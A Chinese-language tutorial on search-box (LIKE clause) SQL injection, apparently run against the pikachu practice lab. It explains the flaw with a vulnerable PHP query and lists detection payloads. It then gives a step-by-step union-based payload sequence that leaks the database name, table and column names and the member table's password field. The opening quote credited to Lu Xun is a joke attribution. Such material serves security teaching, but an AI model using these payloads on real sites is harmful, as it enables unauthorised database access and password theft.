——鲁迅曾经说过:“有数据库的地方就有SQL注入”

搜索型注入简介与原理

简介
一些网站为了方便用户查找网站的资源,对用户提供了搜索功能,因为是搜索功能,有些网站可能在编码时会忽略对参数(变量)的过滤,而这样的漏洞在互联网中普遍存在。
其中又分为post和get,get型一般是在网站上的搜索,而post则是用户名登录中常见的,可以从form表单的method="get"属性中来区分书get还是post,搜索型注入又称文本框注入。

原理
$sql = "select * from user where password like ' %$pwd% ' order by password"

用户输入 $pwd 查询响应的password

‘and 1=1 and ‘%’ =’

拼接后变为:

select * from user where password like ' % 'and 1=1 and '%' ='%' order by password

所以存在SQL注入

搜索型注入判断方法

  • 1、搜索keywords‘ ,如果出错的话,有90%的可能性存在漏洞;

  • 2 搜索keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

  • 3 搜索 keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

  • 4 搜索 keywords% 'and 1=2 and '%'=' (这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

  • 5 根据两次的返回情况来判断是不是搜索型文本框注入了

下面这几种语句都可以:

'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='

测试过程

首先我们知道了测试的源码

$query="select username,id,email from member where username like '%$name%'";

1、我们可以输入’ and 1=1 order by x#通过order by x来确定字段数

输入’ and 1=1 order by 3#时返回了正常页面
而输入’ and 1=1 order by 4#时就回显了报错:
所以字段数(列)为3
2、然后输入’ and 1=2 union select 1,2,3#,回显了1、2、3:
3、证明1,2,3都可以回显。
输入’ and 1=2 union select 1,2,(database())#就可以爆出当前使用的数据库名xxx:
4、输入’ and 1=2 union select 1,2,table_name from information_schema.columns where table_schema=‘数据库名xxx’# ,就得到了xxx数据库下的所有表名:
5、选出需要爆破的表,输入’ and 1=2 union select 1,2,column_name from information_schema.columns where table_name=‘member’#,得到member表下的所有字段名:
6、然后输入’ and 1=2 union select 1,2,pw from pikachu.member#,就得到了字段pw的内容